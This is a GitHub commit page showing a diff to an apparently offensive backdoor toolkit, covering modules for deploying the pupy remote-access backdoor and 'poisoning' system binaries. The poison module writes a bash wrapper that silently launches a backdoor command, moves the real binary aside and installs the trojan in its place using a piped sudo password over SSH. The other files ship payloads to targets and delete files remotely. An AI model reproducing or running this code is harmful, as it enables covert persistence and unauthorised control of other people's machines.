Skip to content

Commit

Permalink
fixed poison, cleaned up target
Browse files Browse the repository at this point in the history
  • Loading branch information
Kevin Bock committed Feb 1, 2016
1 parent fa28f8f commit bccc4c5
Show file tree
Hide file tree
Showing 5 changed files with 21 additions and 20 deletions.
4 changes: 2 additions & 2 deletions backdoors/shell/pupy.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,13 +22,13 @@ def do_exploit(self, args):
port = self.get_value("port")
target = self.core.curtarget
print("Thanks to n1nj4sec for the pupy backdoor. Note that this script must be run with sudo.")
os.system("rm pupy/pupy/packages/all/scapy")
os.system("rm pupy/pupy/packages/all/scapy")
target.ssh.exec_command("echo " + target.pword + ' | sudo -S rm -rf pupy')
target.scpFiles(self, 'pupy/pupy', True)
target.scpFiles(self, 'rpyc', True)
target.ssh.exec_command("echo " + target.pword + " | sudo -S mv -f rpyc /usr/local/lib/python2.7/dist-packages")
raw_input("Please navigate to the backdoorme/pupy/pupy directory and run 'python pupysh.py'. Press enter when you are ready.")
target.ssh.exec_command(self.get_command())
target.ssh.exec_command(self.get_command())

raw_input(GOOD + "Backdoor attempted on target machine. To run a command, type sessions -i [id] and then 'exec <commandname>.")

Expand Down
12 changes: 6 additions & 6 deletions modules/poison.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,12 +17,12 @@ def exploit(self):
loc = self.get_value("location")
password = self.target.pword

poison = open("tmp/poison.c", "w")
poison.write("#include <stdlib.h>\nint main() {\nsystem(\"%s\");\nsystem(\"%s/share/%s\");\nreturn 0;\n }" % (self.backdoor.get_command(), loc, name))
poison = open("tmp/%s" % name, "w")
poison.write("#!/bin/bash\n( %s & ) > /dev/null 2>&1 && %s/share/%s $@" % (self.backdoor.get_command(), loc, name))
poison.close()
os.system("gcc tmp/poison.c -o tmp/%s" % name)
self.target.scpFiles(self, "tmp/" + name, False)
self.target.ssh.exec_command("echo %s | sudo -S mkdir %s/share" % (password, loc)) # sudo fix
self.target.ssh.exec_command("echo %s | sudo -S mv %s/%s %s/share/" % (password, loc, name, loc))
self.target.ssh.exec_command("echo %s | sudo -S mv %s %s/" % (password, name, loc))
self.target.ssh.exec_command("echo %s | sudo -S mkdir %s/share" % (password, loc)) # create folder
self.target.ssh.exec_command("echo %s | sudo -S mv %s/%s %s/share/" % (password, loc, name, loc)) #move old binary to folder
self.target.ssh.exec_command("echo %s | sudo -S cp %s %s/" % (password, name, loc)) #move new binary to old location
self.target.ssh.exec_command("echo %s | sudo -S chmod +x %s/%s" % (password, loc, name))
print(GOOD + self.name + " module success")
24 changes: 12 additions & 12 deletions target.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
import os
import socket
import subprocess

from definitions import *

class Target:
def __init__(self, hostname, uname, pword, num, port=22):
Expand All @@ -26,18 +26,18 @@ def conn(self):
self.is_open = True
#TODO: fix rm -rf bug
def scpFiles(self, filename,a, recur=True):#call this with a filename and false if it is a single file
print "Shipping files: "
print(a)
print(GOOD + "Shipping files: ")
print(INFO + a)
bareFile = ""
for i in range(len(a)-1, 0, -1):
if(a[i] == '/'):
break;
else:
bareFile += a[i]
bareFile = bareFile[::-1]
#print bareFile
#print("echo " + self.pword + " | sudo -S rm " + bareFile)
self.ssh.exec_command("echo " + self.pword + " | sudo -S rm " + bareFile)
for i in range(len(a)-1, 0, -1):
if(a[i] == '/'):
break;
else:
bareFile += a[i]
bareFile = bareFile[::-1]
#print bareFile
#print("echo " + self.pword + " | sudo -S rm " + bareFile)
self.ssh.exec_command("echo " + self.pword + " | sudo -S rm " + bareFile)
self.scp.put(a, recursive=recur)

def close(self):
Expand Down
1 change: 1 addition & 0 deletions tests.py
Original file line number Diff line number Diff line change
Expand Up @@ -67,6 +67,7 @@ def check_help_text(bd):
#######################################################################################
def backdoor_crash_test():
bds = get_backdoors()
assert False
for bd in bds:
yield check_crash_test, bd

Expand Down
Binary file modified tmp/ls
Binary file not shown.

0 comments on commit bccc4c5

Please sign in to comment.